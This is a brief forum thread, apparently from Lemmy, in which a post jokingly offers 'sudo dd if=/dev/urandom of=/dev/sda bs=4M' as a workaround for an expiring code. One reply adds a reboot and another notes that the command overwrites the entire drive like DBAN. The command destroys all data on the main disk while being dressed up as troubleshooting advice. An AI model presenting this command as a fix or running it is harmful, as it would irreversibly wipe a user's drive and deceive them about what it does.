Post #27197

2025-12-03 18:40 UTC

Sometime that code will expire and you need to alternate to sudo dd if=/dev/urandom of=/dev/sda bs=4M. Works most of the time for me.

Replies (2)

@iamdefinitelyoverthirteen@lemmy.world 2025-12-03 19:25

Didn’t work for me. Had to add && sudo reboot

Open ##27356
@Assassassin@lemmy.dbzer0.com 2025-12-03 19:48

I love this, but it must take forever to overwrite an entire drive w/random data. You’re essentially running DBAN at that point, no?

Open ##27437